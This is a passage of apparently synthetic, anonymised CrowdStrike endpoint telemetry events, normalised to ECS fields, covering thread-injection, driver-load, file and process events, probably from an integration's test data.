"2080025170", - "ContextProcessId": "7202603200007", - "ContextTimeStamp": "2025-11-12T18:10:58.579Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "InjectedThreadFlag": "85", - "RawThreadId": "53040", - "SourceThreadStartAddress": "970004800500552", - "TargetThreadId": "209175000090105", - "ThreadStartAddress": "90100003090313109007", - "ThreadStartContext": "60307800056300500065", - "UserThread": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "14a56745976c34e322ccc9af234e692acf35", - "name": "107f10bd7e2cf68ce87171d8f974b76" - }, - "device": { - "id": "73204dfc79175de6cc76f2ae7674dc76" - }, - "event": { - "action": "DocumentProgramInjectedThread", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "14a56745976c34e322ccc9af234e692acf35|73204dfc79175de6cc76f2ae7674dc76|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ThreadStartAddress\":\"90100003090313109007\",\"InjectedThreadFlag\":\"85\",\"ContextThreadId\":\"100705003833870\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"UserThread\":\"0\",\"EventOrigin\":\"1\",\"id\":\"14a56745976c34e322ccc9af234e692acf35\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DocumentProgramInjectedThread\",\"TargetThreadId\":\"209175000090105\",\"RawProcessId\":\"90010\",\"ContextTimeStamp\":\"1762971058.579\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"7202603200007\",\"ThreadStartContext\":\"60307800056300500065\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"TargetProcessId\":\"7602000306800\",\"Entitlements\":\"96\",\"name\":\"107f10bd7e2cf68ce87171d8f974b76\",\"RawThreadId\":\"53040\",\"aid\":\"73204dfc79175de6cc76f2ae7674dc76\",\"SourceThreadStartAddress\":\"970004800500552\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "access", - "change" - ] - }, - "host": { - "id": "73204dfc79175de6cc76f2ae7674dc76", - "os": { - "type": "windows" - } - }, - "message": "DocumentProgramInjectedThread", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "73204dfc79175de6cc76f2ae7674dc76", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "7602000306800", - "pid": 90010, - "thread": { - "id": 100705003833870 - } - }, - "related": { - "hash": [ - "2080025170" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticodeHashDataSHA256": "1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f", - "CompanyName": "5951da04edaa9198b1b04", - "ConfigStateHash": "4001039063", - "ContextProcessId": "917013009605", - "ContextTimeStamp": "2025-06-17T00:02:43.660Z", - "DriverLoadFlags": "0", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "45", - "FileVersion": "359b2589a3456ff7703750b83f34717d70893f", - "FixedFileVersion": "4a.5.36b21.78c5", - "ImageCheckSum": "30890", - "ImageEntryPoint": "60900", - "ImageTimeStamp": "7506201701", - "OriginalFilename": "c11d9e9772e", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8f8e5d48a0828ec900552833b592f6bf3137", - "name": "971d60ec4961" - }, - "device": { - "id": "eb87d6ed52531c4d56701eb0f3bdef5d" - }, - "dll": { - "hash": { - "md5": "7d60d20014499abbe980e8a3e9d3e480", - "sha256": "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a" - }, - "name": "2080358.sys", - "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys", - "pe": { - "original_file_name": "c11d9e9772e" - } - }, - "event": { - "action": "load", - "category": [ - "driver" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "8f8e5d48a0828ec900552833b592f6bf3137|eb87d6ed52531c4d56701eb0f3bdef5d|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"AuthenticodeHashDataSHA256\":\"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f\",\"ContextThreadId\":\"85060031003208\",\"aip\":\"81.2.69.142\",\"CompanyName\":\"5951da04edaa9198b1b04\",\"event_platform\":\"Win\",\"OriginalFilename\":\"c11d9e9772e\",\"FileVersion\":\"359b2589a3456ff7703750b83f34717d70893f\",\"ImageCheckSum\":\"30890\",\"EventOrigin\":\"45\",\"id\":\"8f8e5d48a0828ec900552833b592f6bf3137\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1750118563.660\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"917013009605\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"60900\",\"MD5HashData\":\"7d60d20014499abbe980e8a3e9d3e480\",\"SHA256HashData\":\"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FixedFileVersion\":\"4a.5.36b21.78c5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\2080358.sys\",\"ImageTimeStamp\":\"7506201701\",\"Entitlements\":\"96\",\"name\":\"971d60ec4961\",\"aid\":\"eb87d6ed52531c4d56701eb0f3bdef5d\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "eb87d6ed52531c4d56701eb0f3bdef5d", - "os": { - "type": "windows" - } - }, - "message": "DriverLoad", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "eb87d6ed52531c4d56701eb0f3bdef5d", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "917013009605", - "thread": { - "id": 85060031003208 - } - }, - "related": { - "hash": [ - "7d60d20014499abbe980e8a3e9d3e480", - "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a", - "4001039063" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "8650000", - "ConfigStateHash": "2080025170", - "ContextBaseFileName": "4e526e33d5", - "ContextProcessId": "5924007850208", - "ContextTimeStamp": "2025-11-14T17:55:57.475Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileCategory": "4", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-12089-81901-75723-71071-93418-35753-29602", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "1", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "1a93966150b37eeb4506fb5d576569366fbe", - "name": "73a9d655524e1b4a5" - }, - "device": { - "id": "8a519558e0f7e42814948bf046b8e5c8" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "1a93966150b37eeb4506fb5d576569366fbe|8a519558e0f7e42814948bf046b8e5c8|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-12089-81901-75723-71071-93418-35753-29602\",\"ContextBaseFileName\":\"4e526e33d5\",\"FileCategory\":\"4\",\"Size\":\"100488\",\"ContextThreadId\":\"118504067206871\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"1\",\"FileIdentifier\":\"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"1a93966150b37eeb4506fb5d576569366fbe\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DwgFileWritten\",\"ContextTimeStamp\":\"1763142957.475\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"5924007850208\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"8650000\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"73a9d655524e1b4a5\",\"OperationFlags\":\"0\",\"aid\":\"8a519558e0f7e42814948bf046b8e5c8\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\fef\\\\778d6b84\\\\cf0dca8d\\\\e747bc\\\\a4d268\\\\0d\\\\0caedded\\\\04e2a972\\\\0a032162\\\\1ce31250\\\\ab51ae45\\\\70acbb39\\\\bbac47ce.tmp\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39", - "extension": "tmp", - "inode": "78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286", - "name": "bbac47ce.tmp", - "path": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp", - "size": 100488, - "type": "file" - }, - "host": { - "id": "8a519558e0f7e42814948bf046b8e5c8", - "os": { - "type": "windows" - } - }, - "message": "DwgFileWritten", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "8a519558e0f7e42814948bf046b8e5c8", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "5924007850208", - "name": "4e526e33d5", - "thread": { - "id": 118504067206871 - } - }, - "related": { - "hash": [ - "2080025170" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "S-12089-81901-75723-71071-93418-35753-29602" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-12089-81901-75723-71071-93418-35753-29602" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConHostId": "6810", - "ConHostProcessId": "2000300900003", - "ConfigStateHash": "710307050", - "ContextProcessId": "5040620588024", - "ContextTimeStamp": "2025-09-22T01:02:18.869Z", - "CycleTime": 380603073, - "EffectiveTransmissionClass": "3", - "Entitlements": "46", - "EventOrigin": "45", - "ImageSubsystem": "2", - "KernelTime": 0, - "MaxThreadCount": 7, - "SHA256HashData": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423", - "UserTime": 0, - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f3b8bd9b2757d9904f845a44ff61827fa755", - "name": "e8d15f653d9c08b" - }, - "device": { - "id": "3b473364ed16d25221bdb0b435aac52a" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f3b8bd9b2757d9904f845a44ff61827fa755|3b473364ed16d25221bdb0b435aac52a|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ExitCode\":\"0\",\"ParentProcessId\":\"2000300900003\",\"ContextThreadId\":\"632014600074400\",\"aip\":\"216.160.83.56\",\"ConHostId\":\"6810\",\"UserSid\":\"S-78552-69545-47377\",\"CycleTime\":\"380603073\",\"event_platform\":\"Win\",\"ConHostProcessId\":\"2000300900003\",\"MaxThreadCount\":\"7\",\"EventOrigin\":\"45\",\"ImageSubsystem\":\"2\",\"id\":\"f3b8bd9b2757d9904f845a44ff61827fa755\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"KernelTime\":\"0\",\"UserTime\":\"0\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"42084\",\"ContextTimeStamp\":\"1758502938.869\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"5040620588024\",\"SHA256HashData\":\"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"8040620588024\",\"Entitlements\":\"46\",\"name\":\"e8d15f653d9c08b\",\"ProcessStartTime\":\"1745927326.269\",\"aid\":\"3b473364ed16d25221bdb0b435aac52a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "3b473364ed16d25221bdb0b435aac52a", - "os": { - "type": "windows" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "3b473364ed16d25221bdb0b435aac52a", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "8040620588024", - "exit_code": 0, - "hash": { - "sha256": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423" - }, - "parent": { - "entity_id": "2000300900003" - }, - "pid": 42084, - "start": "2025-04-29T11:48:46.269Z", - "thread": { - "id": 632014600074400 - } - }, - "related": { - "hash": [ - "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423", - "710307050" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "S-78552-69545-47377" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-78552-69545-47377" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextProcessId": "9001004100012", - "ContextTimeStamp": "2025-08-05T18:35:25.502Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "FileObject": "0", - "IrpFlags": "1730", - "MajorFunction": "40", - "MinorFunction": "0", - "OperationFlags": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1", - "name": "a1721c8914da805eb47" - }, - "device": { - "id": "39074f37291ca6f2d189c1e110e04dfc" - }, - "event": { - "action": "ExecutableDeleted", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1754418925.502\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"9001004100012\",\"IrpFlags\":\"1730\",\"ContextThreadId\":\"560346007270302\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"MajorFunction\":\"40\",\"Entitlements\":\"96\",\"name\":\"a1721c8914da805eb47\",\"EventOrigin\":\"1\",\"OperationFlags\":\"0\",\"id\":\"b43f550a47cfaab7904ddcd4c778b2d7d2e1\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6", - "extension": "exe", - "inode": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330", - "name": "6ffbd0fe.exe", - "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe", - "type": "file" - }, - "host": { - "id": "39074f37291ca6f2d189c1e110e04dfc", - "os": { - "type": "windows" - } - }, - "message": "ExecutableDeleted", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "39074f37291ca6f2d189c1e110e04dfc", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "9001004100012", - "thread": { - "id": 560346007270302 - } - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ContextProcessId": "920132208508", - "ContextTimeStamp": "2025-09-21T15:01:07.856Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "56", - "EventOrigin": "3", - "TreeId": "400800208204", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f17c8a57d6ffa5f985caf45f729cb254772a", - "name": "e1326813e53e44b4" - }, - "device": { - "id": "e1a82faad25f1bc57da5f8b7457d9014" - }, - "event": { - "action": "FileDeleteInfo", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f17c8a57d6ffa5f985caf45f729cb254772a|e1a82faad25f1bc57da5f8b7457d9014|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FileDeleteInfo\",\"ContextTimeStamp\":\"1758466867.856\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"920132208508\",\"ContextThreadId\":\"549000000070475\",\"aip\":\"81.2.69.192\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"400800208204\",\"Entitlements\":\"56\",\"name\":\"e1326813e53e44b4\",\"EventOrigin\":\"3\",\"id\":\"f17c8a57d6ffa5f985caf45f729cb254772a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e1a82faad25f1bc57da5f8b7457d9014\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\b169fe25\\\\44ca.TMP\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "file": { - "directory": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25", - "extension": "TMP", - "name": "44ca.TMP", - "path": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP", - "type": "file" - }, - "host": { - "id": "e1a82faad25f1bc57da5f8b7457d9014", - "os": { - "type": "windows" - } - }, - "message": "FileDeleteInfo", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "e1a82faad25f1bc57da5f8b7457d9014", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "920132208508", - "thread": { - "id": 549000000070475 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "9250777000", - "ContextProcessId": "9011580900835", - "ContextTimeStamp": "2025-11-05T09:37:02.843Z", - "DesiredAccess": "5040660", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "3", - "ShareAccess": "7", - "Status": "0", - "TreeId": "250760900008", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "46a19a602437699cf4aefb060e91441ba891", - "name": "c4a834c02a00fb" - }, - "device": { - "id": "ea08505420aa828a0a52a6eed3c8a196" - }, - "event": { - "action": "FileOpenInfo", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "46a19a602437699cf4aefb060e91441ba891|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"Status\":\"0\",\"event_simpleName\":\"FileOpenInfo\",\"ContextTimeStamp\":\"1762335422.843\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"9011580900835\",\"ContextThreadId\":\"920000001740500\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"DesiredAccess\":\"5040660\",\"TreeId\":\"250760900008\",\"Entitlements\":\"26\",\"name\":\"c4a834c02a00fb\",\"EventOrigin\":\"3\",\"id\":\"46a19a602437699cf4aefb060e91441ba891\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25", - "extension": "key", - "name": "4e7075fa.key", - "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key", - "type": "file" - }, - "host": { - "id": "ea08505420aa828a0a52a6eed3c8a196", - "os": { - "type": "windows" - } - }, - "message": "FileOpenInfo", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "ea08505420aa828a0a52a6eed3c8a196", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "9011580900835", - "thread": { - "id": 920000001740500 - } - }, - "related": { - "hash": [ - "9250777000" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "40820000", - "ContextProcessId": "50314320728270", - "ContextTimeStamp": "2025-09-18T10:27:03.574Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "3", - "TargetFileName": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP", - "TreeId": "407060334007", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2d662aa35187373d94203d08fc2e4e7115c6", - "name": "f4407c8e4882cbdd" - }, - "device": { - "id": "ca48acb776296fd7a6e35ee8c4bbde6d" - }, - "event": { - "action": "FileRenameInfo", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2d662aa35187373d94203d08fc2e4e7115c6|ca48acb776296fd7a6e35ee8c4bbde6d|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FileRenameInfo\",\"ContextTimeStamp\":\"1758191223.574\",\"ConfigStateHash\":\"40820000\",\"ContextProcessId\":\"50314320728270\",\"SourceFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\49830210.WibuCmActDyn\",\"ContextThreadId\":\"794611930067120\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"407060334007\",\"Entitlements\":\"36\",\"name\":\"f4407c8e4882cbdd\",\"EventOrigin\":\"3\",\"id\":\"2d662aa35187373d94203d08fc2e4e7115c6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca48acb776296fd7a6e35ee8c4bbde6d\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\754cfa0e.TMP\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "Ext": { - "original": { - "name": "49830210.WibuCmActDyn", - "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn" - } - }, - "directory": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae", - "extension": "TMP", - "name": "754cfa0e.TMP", - "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP", - "type": "file" - }, - "host": { - "id": "ca48acb776296fd7a6e35ee8c4bbde6d", - "os": { - "type": "windows" - } - }, - "message": "FileRenameInfo", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "ca48acb776296fd7a6e35ee8c4bbde6d", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "50314320728270", - "thread": { - "id": 794611930067120 - } - }, - "related": { - "hash": [ - "40820000" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextProcessId": "1000790287600", - "ContextTimeStamp": "2025-10-29T06:28:27.584Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "FileSystemOperationType": "3", - "FsOperationClassification": "67", - "FsOperationClassificationFlags": "1", - "PatternId": "24871", - "TemplateDisposition": "40", - "TemplateInstanceId": "57521", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a", - "name": "b22ddf4c03b1a8b30f84e33786dd87b" - }, - "device": { - "id": "ca2eedaa43a7333759deb5a0191c5313" - }, - "event": { - "action": "FileSystemOperationDetectInfo", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a|ca2eedaa43a7333759deb5a0191c5313|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"FileSystemOperationDetectInfo\",\"ContextTimeStamp\":\"1761719307.584\",\"ConfigStateHash\":\"710307050\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"1000790287600\",\"FileSystemOperationType\":\"3\",\"TemplateInstanceId\":\"57521\",\"aip\":\"216.160.83.56\",\"FsOperationClassification\":\"67\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"6725e7\",\"FsOperationClassificationFlags\":\"1\",\"PatternId\":\"24871\",\"ImageFileName\":\"6725e7\",\"Entitlements\":\"66\",\"name\":\"b22ddf4c03b1a8b30f84e33786dd87b\",\"EventOrigin\":\"1\",\"id\":\"ad8c2e5d31cff1e8cdc3892a874ba4927d1a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca2eedaa43a7333759deb5a0191c5313\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\71e36eee\\\\ce423a9b\\\\a5e333\\\\3ec061.sst\"}", - "outcome": "unknown", - "type": [ - "change", - "deletion" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333", - "extension": "sst", - "name": "3ec061.sst", - "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst", - "type": "file" - }, - "host": { - "id": "ca2eedaa43a7333759deb5a0191c5313", - "os": { - "type": "windows" - } - }, - "message": "FileSystemOperationDetectInfo", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "ca2eedaa43a7333759deb5a0191c5313", - "version": "2c8b.4.ae3729d.e6" - 